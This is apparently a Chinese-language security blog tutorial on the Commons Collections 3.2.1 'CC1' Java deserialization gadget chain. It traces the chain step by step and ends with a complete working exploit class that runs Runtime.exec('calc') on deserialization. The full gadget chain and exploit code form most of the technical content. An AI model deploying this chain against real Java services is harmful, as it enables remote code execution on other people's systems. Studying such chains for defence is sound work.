环境准备

1.下载jdku65

https://blog.lupf.cn/articles/2022/02/19/1645283454543.html

img

2,依赖配置

1
2
3
4
5
6
7
8
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

3.将class文件转化为java文件

https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

img

点击zip,进行下载

然后解压jdk文件夹下的src文件,将刚刚下载的压缩包解压后,把/src/share/classes下的sun文件拖到src文件下,并添加到元路径

img

实验

对反序列化过程进行一个简单的介绍:首先呢,先找到一个可以利用的类(调用了危险的方法),然后呢,我们需要去找谁(哪个方法)调用了这个方法,直到找到可以readobject方法(对其重写)。这个类的话就是起始类(这个过程是从后向前的一个过程)。

分析

cc链1的危险方法是transformer接口的transform的方法,来看一下(找实现类)

img

这里有三个类

chainedTransformer

img

存储到数组中做一个循环调用

ConstantTransformer

img

不管传什么返回的都是构造函数传的内容

InvokerTransformer

img

进行一个反射,函数调用。这也是主要利用点,因为我们的Runtime类是不能进行反序列化的,要使用反射来对getRuntime方法,exec方法,进行调用。使用反射的话就要用到我们的InvokerTransformer类了

img

无serializable接口不能进行序列化

img

所以使用反射进行序列化

主要过程

第一步

还是倒着来,我们要使用InvokerTransformer的transform方法调用反射机制构造命令执行

我们先看普通反射如何构造

1
2
3
4
5
Class c = Runtime.class;
Method m = c.getDeclaredMethod("getRuntime",null);
m.setAccessible(true);
Runtime o = (Runtime) m.invoke(null,null);
o.exec("calc");

然后我们使用InvokerTransformer的transform方法

1
2
3
Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c);
Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

ChainedTransformer类的transform的方法就可以帮我们进行一个遍历,所以我们可以改成

1
2
3
4
5
6
7
Transformer[] t =  new Transformer[]{
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);
chainedtransformer.transform(c);

这时的transform是我们自己写的,我们需要反序列化的时候自动调用,就需要去找谁调用了

transform,以此向上找到重写readObject方法的类,才能完成整个链子的调用。

第二步

我们开始向上找

img

我们在查找用法中找到这个方法调用了transform(记得设置成查找所有文件)

但是他的构造方法是protected

img

看看哪里可以实例化这个对象

img

这里可以

img

然后我们只要让上述属性为chainedtransformer即可调用到transform

1
2
3
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

第三步

接着向上找,谁调用了checksetvalue

img

我们来到了这,那得让parent = TransformedMap

那如何让parent为TransformedMap这个呢?我们可以探究一下

看一下哪里有实例化的MapEntry(AbstractInputCheckedMapDecorator的副类)

img

这里的都在EntrySet类下,而实例化EntrySet要使用entrySet方法

img

这里的this就是parent,意思是谁调用了entryset,this就是谁,那我们要看它所在的类了,是一个抽象类

img

我们这时就要看他的子类了,用子类来调用父类

img

我们可以看到TransformMap类,非常的巧合,又完美哈。

(在for循环中也可以调用entrySet,然后调用setvalue)

第四步

找谁调用了setvalue

img

正好还是readObject方法调用

然后我们可以看到

img

这边会使用for循环进行一个遍历,然后我们map只要传入decorate即可,

1
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

这样就相当于TransformedMap类的实例化调用了entrySet() 这样parent就是TransformedMap对象

还有一个问题是这里的构造函数是默认我们不能直接拿来用,需要使用反射获取

img

1
2
3
4
Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class,decorate);

然后就是要通过判断了,这里

img

主要是判断我们put的key值是否和注解中的成员变量对应

img

img

这样既可

最后一个问题是

img

transform的参数是ann…,而我们想要他为c怎么办呢?

回到上述描述的ConstantTransformer类的transform方法不就解决了,我们传入c就会返回c

所以最后在加一个构造为、

1
2
3
4
5
6
Transformer[] t =  new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};

总体为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.ex1.www;

import javafx.scene.transform.Transform;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.util.resources.cldr.st.CalendarData_st_LS;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws Exception {
Class c = Runtime.class;

// Method invokerTransformer = (Method) new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(c);
// Runtime r= (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(invokerTransformer);
// new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"}).transform(r);

Transformer[] t = new Transformer[]{
new ConstantTransformer(c),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedtransformer = new ChainedTransformer(t);

HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, chainedtransformer);

Class cc = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = cc.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class,decorate);


// Method m = c.getDeclaredMethod("getRuntime",null);
// m.setAccessible(true);
// Runtime o = (Runtime) m.invoke(null,null);
// o.exec("calc");

serialize(o);
unserialize("ser.bin");



}

public static void serialize(Object o) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(o);
}
public static Object unserialize(String file) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
Object oic = ois.readObject();
return oic;
}

}

参考

https://xz.aliyun.com/news/12115

https://blog.csdn.net/qq_45305211/article/details/141720808

blibli 白日梦组长